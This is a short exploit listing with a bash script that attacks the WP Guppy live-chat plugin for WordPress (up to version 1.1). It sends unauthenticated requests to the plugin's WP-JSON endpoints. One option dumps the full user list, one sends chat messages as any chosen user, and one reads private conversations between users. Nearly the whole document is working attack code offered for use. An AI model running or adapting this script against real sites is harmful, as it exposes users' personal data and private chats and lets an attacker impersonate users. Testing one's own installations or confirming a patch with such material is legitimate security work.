Wordpress Plugin WP Guppy 1.1 - WP-JSON API Sensitive Information Disclosure

# Exploit Title: Wordpress Plugin WP Guppy 1.1 - WP-JSON API Sensitive Information Disclosure
# Exploit Author: Keyvan Hardani
# Date: 22/11/2021
# Vendor Homepage: https://wp-guppy.com/
# Version: up to 1.1
# Tested on: Kali Linux - Windows 10 - Wordpress 5.8.x and apache2
# Usage ./exploit.sh -h

#!/bin/bash

Help()
{
# Display Help
echo "Usage"
echo
echo "Wordpress Plugin WP Guppy - A live chat - WP_JSON API Sensitive Information Disclosure"
echo
echo "Option 1: Get all users ( ./exploit.sh 1 domain.com)"
echo "Option 2: Send message from / to other users ( ./exploit.sh 2 domain.com 1493 1507 ) => Senderid=1493 & Receiverid=1507"
echo "Option 3: Get the chats between users ( ./exploit.sh 3 domain.com 1507 1493) => Receiverid=1493 & Userid= 1493"
echo "-h Print this Help."
echo
}

while getopts ":h" option; do
case $option in
h) # display Help
Help
exit;;
esac
done

if [ $1 == 1 ]
then
curl -s --url "https://$2/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search=" | python -m json.tool
fi

if [ $1 == 2 ]
then
curl -s -X POST --url "https://$2/wp-json/guppy/v2/send-guppy-message" --data '{"receiverId":"'$3'","userId":"'$4'","guppyGroupId":"","chatType":1,"message":"test","replyTo":"","latitude":"","longitude":"","messageType":0,"messageStatus":0,"replyId":"","timeStamp":1637583213,"messageSentTime":"November 22, 2021","metaData":{"randNum":5394},"isSender":true}' -H 'Content-Type: application/json'| python -m json.tool
fi
if [ $1 == 3 ]
then
curl -s --url "https://$2/wp-json/guppy/v2/load-guppy-user-chat?offset=0&receiverId=$3&userId=$4&chatType=1" | python -m json.tool
fi